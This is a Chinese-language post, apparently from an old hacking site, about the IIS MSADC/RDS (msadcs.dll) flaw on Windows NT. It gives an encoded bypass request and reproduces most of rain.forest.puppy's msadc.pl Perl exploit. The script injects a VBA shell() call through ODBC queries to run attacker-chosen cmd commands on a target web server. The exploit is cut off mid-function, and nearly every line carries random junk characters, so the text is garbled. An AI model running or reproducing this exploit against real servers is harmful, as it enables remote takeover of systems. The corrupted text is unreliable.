IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
f'501MJu ;A^Ii>` 涉及程序:
t2V|moG
Microsoft NT server
wQ!C9Gp3e ,ru2C_LQ 描述:
PX7@3Y 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
'vbrzI5m $,Q0ay 详细:
R'M=`33M 如果你没有时间读详细内容的话,就删除:
A{3VTe4TV c:\Program Files\Common Files\System\Msadc\msadcs.dll
3.[ fTrzJ 有关的安全问题就没有了。
J0xV\O
!e )?es3Ehqq 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
/Z':wu\ vRp#bScc 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
xw[KP [( 关于利用ODBC远程漏洞的描述,请参看:
4}C^s\?z 1<
22, http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm `v;9!ReZV ,ddoII 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
zvJQ@i"Z http://www.microsoft.com/security/bulletins/MS99-025faq.asp Yi?X|"\` > J4Tk1//b 这里不再论述。
([vyY}43h \q2:1X| 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
@D$^-
S6 ^t X}5i`P /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
}2@Aj 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
+hoZW R 6}b1*xQ #J4{W84B #将下面这段保存为txt文件,然后: "perl -x 文件名"
j6Msbq[ #kho[`9 #!perl
\PHbJN:BI #
X*4iNyIs_ # MSADC/RDS 'usage' (aka exploit) script
z`)i"O]-K_ #
d2cslDd # by rain.forest.puppy
,#
i@jB #
T9&-t7: # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
32#|BBY # beta test and find errors!
M`_RkDmy< Tf0"9 use Socket; use Getopt::Std;
1a_R8j getopts("e:vd:h:XR", \%args);
D7v-+jypp I[P43>F3 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
hrT!S hh%fmc if (!defined $args{h} && !defined $args{R}) {
mI$<+S1! print qq~
"#<P--E 9 Usage: msadc.pl -h <host> { -d <delay> -X -v }
#RfNk;kaA -h <host> = host you want to scan (ip or domain)
}02#[vg -d <seconds> = delay between calls, default 1 second
nw.,`M,N -X = dump Index Server path table, if available
I%4)% -v = verbose
g3fxf(iY( -e = external dictionary file for step 5
no~Yet+<" hU:
9zLe Or a -R will resume a command session
`=}w(V8pc ->H4!FS ~; exit;}
/RWQ+Zf-Y] {nr}C4]o $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
[Un~]E.'J if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
`B1r+uTP~ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|"gg2p if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
(L{>la! $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
)R~l@QBN if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
7IEG%FY
T rzl0*CR if (!defined $args{R}){ $ret = &has_msadc;
x-hr64WFK die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
/y2)<{{I p'@|Oq& print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Y.7iKMp( . "cmd /c ";
CO%o.j=1 $in=<STDIN>; chomp $in;
utH/E7^8 $command="cmd /c " . $in ;
/=y _#l (vO\h8 if (defined $args{R}) {&load; exit;}
ca@?-) 8ch^e[U` print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
O6
:GE'S &try_btcustmr;
lMn1e6~K {hP_"nN# print "\nStep 2: Trying to make our own DSN...";
vOF"p4 ^ 3 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
W{)RJ1 =qg;K'M5 print "\nStep 3: Trying known DSNs...";
U3oMY{{EJ &known_dsn;
ff{L=uj E((U=P}+g print "\nStep 4: Trying known .mdbs...";
goJK~d8M* &known_mdb;
XA1gV>SJ ~4T:v_Q7g if (defined $args{e}){
tAi
~i;? print "\nStep 5: Trying dictionary of DSN names...";
N*B_or &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.m;5s45O{ r2h{#2 print "Sorry Charley...maybe next time?\n";
g`n5-D@3 exit;
< 2mbR K[j~htC{I" ##############################################################################
VKZZTFmV2) vq?aFX9F sub sendraw { # ripped and modded from whisker
F4b$ sleep($delay); # it's a DoS on the server! At least on mine...
(4GDh% my ($pstr)=@_;
KscugX*x socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
PfrzrRahb die("Socket problems\n");
n7>L&?N#y# if(connect(S,pack "SnA4x8",2,80,$target)){
"t
^yM`$5[ select(S); $|=1;
VGe OoS print $pstr; my @in=<S>;
$\9M6k' select(STDOUT); close(S);
[yyL2=7 return @in;
$'I-z.G V } else { die("Can't connect...\n"); }}
QTC-W2t] XCP/e p ##############################################################################
D_)i%k\ Yg~$1b@ sub make_header { # make the HTTP request
ZcQ@%XY3~ my $msadc=<<EOT
*)8!~Hs POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
4?u<i=i User-Agent: ACTIVEDATA
}Dc7'GZ Host: $ip
w>TlM*3D/ Content-Length: $clen
Zf,9 k".'C Connection: Keep-Alive
3$~oQC o`{@':%D` ADCClientVersion:01.06
|| }' Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
V_Xq&!HN[ GN=ugP 9 --!ADM!ROX!YOUR!WORLD!
@OB7TI_/
Content-Type: application/x-varg
CI8bHY$ Content-Length: $reqlen
y~r5KB6w d#W>"Cqxqa EOT
wG-lR,glb ; $msadc=~s/\n/\r\n/g;
`B%IHr return $msadc;}
a3wk#mH
\46
'j. ##############################################################################
xIb"8,N ->u}b?aF sub make_req { # make the RDS request
c H7Gb|,M my ($switch, $p1, $p2)=@_;
yh'uH my $req=""; my $t1, $t2, $query, $dsn;
{gkY:$xnrG 9sId2py]W if ($switch==1){ # this is the btcustmr.mdb query
Z`jSpgWR $query="Select * from Customers where City=" . make_shell();
VUQx"R9- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
rGt/ /6 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6!|/(~ 71I: P|.> elsif ($switch==2){ # this is general make table query
g.]S5( $query="create table AZZ (B int, C varchar(10))";
U=vh_NHj $dsn="$p1";}
d95 $w8> NGs@z^&V elsif ($switch==3){ # this is general exploit table query
OH_ m ZA $query="select * from AZZ where C=" . make_shell();
7lH.>n $dsn="$p1";}
`JZ`j7f ZR*Dl.GWY elsif ($switch==4){ # attempt to hork file info from index server
g~v>{F+u $query="select path from scope()";
U(~d^9/# $dsn="Provider=MSIDXS;";}
6qF9+r&e? '<!T'l:R:/ elsif ($switch==5){ # bad query
wj$WE3Y $query="select";
Oe_*(q& $dsn="$p1";}
`%<^$Ng; ~6!TMVr $t1= make_unicode($query);
5f-eWW]! $t2= make_unicode($dsn);
#[
TOe $req = "\x02\x00\x03\x00";
]7/6u.G7R $req.= "\x08\x00" . pack ("S1", length($t1));
mNDd>4%H_ $req.= "\x00\x00" . $t1 ;
*f*o
,~8V1 $req.= "\x08\x00" . pack ("S1", length($t2));
\-nbV#{ $req.= "\x00\x00" . $t2 ;
)d =8)9B $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
@\}w8 return $req;}
D"vl$BX <ZXK}5SZ# ##############################################################################
t
\;,$i {~0r3N4Zl sub make_shell { # this makes the shell() statement
}M|,Z'@* return "'|shell(\"$command\")|'";}
.?NraydwV D6NgdE7b ##############################################################################
F&6Xo]? bL9XQ:$C sub make_unicode { # quick little function to convert to unicode
,+U,(P5>s my ($in)=@_; my $out;
[R%Pf/[Fr for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Ra-%,cS return $out;}
SLi?E .DN)ck:e; ##############################################################################
3j}@}2D J5j3#2l sub rdo_success { # checks for RDO return success (this is kludge)
)W0z my (@in) = @_; my $base=content_start(@in);
w\{oOlE if($in[$base]=~/multipart\/mixed/){
S
@t pd' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
haoQr)S return 0;}
iRsK;)< '^ob3N/Y [ ##############################################################################
xL#UMvZ>;h @";zM& sub make_dsn { # this makes a DSN for us
upefjwm my @drives=("c","d","e","f");
7:P+ S%ZL print "\nMaking DSN: ";
qf?X:9Wt foreach $drive (@drives) {
Ns#R`WG) print "$drive: ";
E%np-is{1 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
s F!nSr "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Jd-u? . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
7>$&CWI $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
:@c\a99Kx return 0 if $2 eq "404"; # not found/doesn't exist
*L+)R*|:& if($2 eq "200") {
WgayH foreach $line (@results) {
xwe^_7 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
01&J7A2 } return 0;}
)2dTgvy >[&Zs3> ##############################################################################
0$1-5XY9 dHJ#xmE!pP sub verify_exists {
m6iQB\ \ my ($page)=@_;
=ec"G2$?" my @results=sendraw("GET $page HTTP/1.0\n\n");
d7i 0'R return $results[0];}
W, -fnJk ^wTod\y ##############################################################################
(N/KP+J$n k*$[V17 sub try_btcustmr {
qpZR-O my @drives=("c","d","e","f");
9TZ4ffXV* my @dirs=("winnt","winnt35","winnt351","win","windows");
,#blY~h8^ Api<q2@R foreach $dir (@dirs) {
M~"93 Q`f^ print "$dir -> "; # fun status so you can see progress
? ht;ZP foreach $drive (@drives) {
JV_V2L1Ut print "$drive: "; # ditto
0.kQqy~5 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_YPu $reqlenlen=length( "$reqlen" );
FAbl5VW' $clen= 206 + $reqlenlen + $reqlen;
L.R4 iN R0DWjN$j my @results=sendraw(make_header() . make_req(1,$drive,$dir));
'A)r)z{X if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
w\(;>e@ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Xn3
\a81 ,HHCgN
##############################################################################
KXvBJA$ [)KLmL% sub odbc_error {
u~\I my (@in)=@_; my $base;
o@j)clf my $base = content_start(@in);
+L>?kr[i[ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
% >}{SS $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S3F8Chk5 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]aqg{XdGt $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pj/w9j G6 return $in[$base+4].$in[$base+5].$in[$base+6];}
ML-?#jNa< print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
SU80i` print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
G}ccf% $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
jc-$l wD|I^y; ##############################################################################
=lG/A[66 {- Y.C*E sub verbose {
y>jP]LR4 my ($in)=@_;
HI%#S&d return if !$verbose;
9}*<8%PSt, print STDOUT "\n$in\n";}
ie9,ye" .Mz'h9@ ##############################################################################
X|wg7>kh*` 1?hx/02 sub save {
%9Y3jB",2 my ($p1, $p2, $p3, $p4)=@_;
Yj/[I\I"m open(OUT, ">rds.save") || print "Problem saving parameters...\n";
d@IV@'Q7u print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
4y|%Oj close OUT;}
hQPNxpe Ks_B%d ##############################################################################
+204.Yj?D M,(UCyT sub load {
V<W$h` my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_DAj$$ Ru4 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
-FrNk> @p=<IN>; close(IN);
s?pd&_kOv3 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
KV { J>J1 $target= inet_aton($ip) || die("inet_aton problems");
l0G sY.~, print "Resuming to $ip ...";
R!2oj_ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
=&YhA}l\O if($p[1]==1) {
]UFbG40Zo $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
WO<a^g
{ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
+%: /!T@@ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
6-!U\R2Z> if (rdo_success(@results)){print "Success!\n";}
_zF*S]9
X else { print "failed\n"; verbose(odbc_error(@results));}}
Pt^SlX^MM elsif ($p[1]==3){
w4%yCp[, if(run_query("$p[3]")){
y)]L>o~ print "Success!\n";} else { print "failed\n"; }}
fOtzbYVC elsif ($p[1]==4){
JK_(!
if(run_query($drvst . "$p[3]")){
qr|v|Ejd~ print "Success!\n"; } else { print "failed\n"; }}
0oiz V;B5% exit;}
1p }:K`#{ QnN cGH ##############################################################################
!,z==Qp|v 1xsIM'& sub create_table {
s%xhT my ($in)=@_;
##_Jz 5P $reqlen=length( make_req(2,$in,"") ) - 28;
SE;Yb' $reqlenlen=length( "$reqlen" );
2?./S)x) $clen= 206 + $reqlenlen + $reqlen;
yG..B my @results=sendraw(make_header() . make_req(2,$in,""));
V_p[mSKJv return 1 if rdo_success(@results);
d]!`II my $temp= odbc_error(@results); verbose($temp);
~f5g\n; return 1 if $temp=~/Table 'AZZ' already exists/;
'vc>uY return 0;}
#BLmT-cl 75?z" i ##############################################################################
G}8Zkz@+ 0<'Q;'2* L sub known_dsn {
M>LgEc-v67 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Vq>$ZlvS my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
;I@@PUnR "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
h#o?O k "banner", "banners", "ads", "ADCDemo", "ADCTest");
ZA {T0: h =E)5&Z foreach $dSn (@dsns) {
rD":Gac print ".";
}{#ty uzAo next if (!is_access("DSN=$dSn"));
4/:}K>S_ if(create_table("DSN=$dSn")){
!gbPxfH:6 print "$dSn successful\n";
qOM" ?av if(run_query("DSN=$dSn")){
*s1^s;LR print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<)am]+Lswy print "Something's borked. Use verbose next time\n";}}} print "\n";}
|'ML
)`c[ Fx6]x$3 ##############################################################################
\:vHB! 2E @eOD+h' sub is_access {
HJ^SqSm my ($in)=@_;
yNU.<d 5 $reqlen=length( make_req(5,$in,"") ) - 28;
1
|T{RY5 $reqlenlen=length( "$reqlen" );
jPc"qER! $clen= 206 + $reqlenlen + $reqlen;
{Z!x]}{M my @results=sendraw(make_header() . make_req(5,$in,""));
IVdM}"+ my $temp= odbc_error(@results);
9hn+eU verbose($temp); return 1 if ($temp=~/Microsoft Access/);
, tb\^ return 0;}
DITo.PU "`q: ##############################################################################
g+1&l iV "J(0J sub run_query {
p;0p!~F=49 my ($in)=@_;
.0]\a~x $reqlen=length( make_req(3,$in,"") ) - 28;
6zR9(c:a~ $reqlenlen=length( "$reqlen" );
*}<